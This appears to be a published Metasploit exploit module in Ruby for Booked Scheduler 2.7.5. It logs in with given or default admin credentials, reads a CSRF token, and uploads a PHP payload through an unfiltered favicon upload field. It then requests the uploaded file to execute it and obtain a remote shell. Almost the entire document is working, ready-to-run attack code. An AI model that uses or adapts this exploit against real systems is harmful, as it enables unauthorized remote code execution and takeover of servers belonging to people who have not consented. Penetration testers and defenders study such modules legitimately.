Booked Scheduler 2.7.5 Remote Command Execution

`##   
# This module requires Metasploit: http://metasploit.com/download   
# Current source: https://github.com/rapid7/metasploit-framework   
##   
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking   
  
include Msf::Exploit::Remote::HttpClient   
  
def initialize   
super(   
'Name' => 'Booked Scheduler v2.7.5 - Remote Command Execution',   
'Description' => %q{   
This module exploits a file upload vulnerability Booked 2.7.5.   
In the "Look and Feel" section of the management panel, you can modify the Logo-Favico-CSS files.   
Upload sections has file extension control except favicon part.  
You can upload the file with the extension you want through the Favicon field.  
The file you upload is written to the main directory of the site under the name "custom-favicon".   
After upload the php payload to the main directory, Exploit executes payload and receives shell.   
},   
'Author' => [   
'AkkuS <Azkan Mustafa AkkuA>', # Vulnerability Discovery, PoC & Msf Module   
],   
'License' => MSF_LICENSE,   
'References' =>   
[  
['URL', 'https://pentest.com.tr/exploits/Booked-2-7-5-Remote-Command-Execution-Metasploit.html'],   
],   
'Platform' => ['php'],   
'Arch' => ARCH_PHP,   
'Targets' =>   
[   
['Booked Scheduler v2.7.5', {}]   
],   
'DisclosureDate' => '01 March 2019',   
'Privileged' => false,   
'DefaultTarget' => 0   
)   
  
register_options(   
[   
OptBool.new('SSL', [true, 'Use SSL', false]),  
OptString.new('TARGETURI', [true, 'The base path to Booked', '/']),   
OptString.new('USER', [true, 'User to login with', 'admin']),   
OptString.new('PASS', [true, 'Password to login with', 'admin']),   
], self.class)   
end   
##  
# Check Exploit Vulnerable  
##   
def check  
res = send_request_cgi({   
'method' => 'GET',   
'uri' => normalize_uri(target_uri, "/Web/index.php")   
})  
  
if res and res.code == 200 and res.body =~ /v2.7.5/  
return Exploit::CheckCode::Vulnerable  
else  
return Exploit::CheckCode::Safe  
end  
return res   
end   
##  
# Exploit Portion  
##   
def exploit   
res = send_request_cgi({   
'method' => 'POST',   
'uri' => normalize_uri(target_uri, "/Web/index.php"),   
'vars_post' => {   
"email" => datastore['USER'],   
"password" => datastore['PASS'],  
"captcha" => "",  
"resume" => "",  
"language" => "en_us",  
"login" => "submit"   
  
}   
})  
  
if res and res.code == 302  
print_status("Successful redirection to admin dashboard.")  
else  
return res  
end  
  
get_cookie = res.get_cookies   
cookie = get_cookie   
##  
# Login Access Control  
##  
control = send_request_cgi({   
'method' => 'GET',   
'cookie' => cookie,   
'uri' => normalize_uri(target_uri, "/Web/dashboard.php")   
})  
  
html = control.body  
if html =~ /Dashboard/  
print_good("Login successfuly")  
else  
print_status("User information is incorrect. Login failed")  
exit 0  
end   
##  
# Reading CSRF Token  
##  
csrf = send_request_cgi({   
'method' => 'GET',   
'cookie' => cookie,   
'uri' => normalize_uri(target_uri, "/Web/admin/manage_theme.php")   
})  
  
html = control.body  
if html =~ /Look and Feel/  
token = csrf.body.split('CSRF_TOKEN" value=')[1].split(";")[0].split('/')[0].split('"')[1]  
print_status("CSRF Token = #{token}")  
else  
print_status("User information is incorrect. Login failed")  
exit 0  
end   
##  
# Loading phase of the vulnerable file  
##  
boundary = Rex::Text.rand_text_alphanumeric(29)  
  
data2 = "-----------------------------{boundary}"  
data2 << "\r\nContent-Disposition: form-data; name=\"LOGO_FILE\"\r\n\r\n\r\n"  
data2 << "-----------------------------{boundary}"  
data2 << "\r\nContent-Disposition: form-data; name=\"FAVICON_FILE\"; filename=\"akkus.php\""  
data2 << "\r\nContent-Type: text/html\r\n\r\n"  
data2 << payload.encoded  
data2 << "\n\r\n-----------------------------{boundary}"  
data2 << "\r\nContent-Disposition: form-data; name=\"CSS_FILE\"\r\n\r\n\r\n"  
data2 << "-----------------------------{boundary}"  
data2 << "\r\nContent-Disposition: form-data; name=\"CSRF_TOKEN\"\r\n\r\n"  
data2 << "#{token}"  
data2 << "\r\n-----------------------------{boundary}--\r\n"  
  
res = send_request_raw(  
{  
'method' => "POST",  
'uri' => normalize_uri(target_uri, "/Web/admin/manage_theme.php?action=update"),  
'data' => data2,  
'headers' =>  
{  
'Content-Type' => 'multipart/form-data; boundary=---------------------------{boundary}',  
},  
'cookie' => cookie  
})  
  
if res and res.code == 200  
print_good "Payload was successfully uploaded."  
else  
print_error "Upload failed."  
return  
end   
##  
# Command execution and shell retrieval  
##  
print_status("Attempting to execute the payload...")  
  
command = payload.encoded  
  
res = send_request_cgi(  
{  
'uri' => normalize_uri(target_uri, "/Web/custom-favicon.php"),  
'cookie' => cookie  
}, 25)  
  
  
if res and res.code == 200  
print_good "Payload executed successfully"  
end   
end   
end  
##  
# End  
##  
`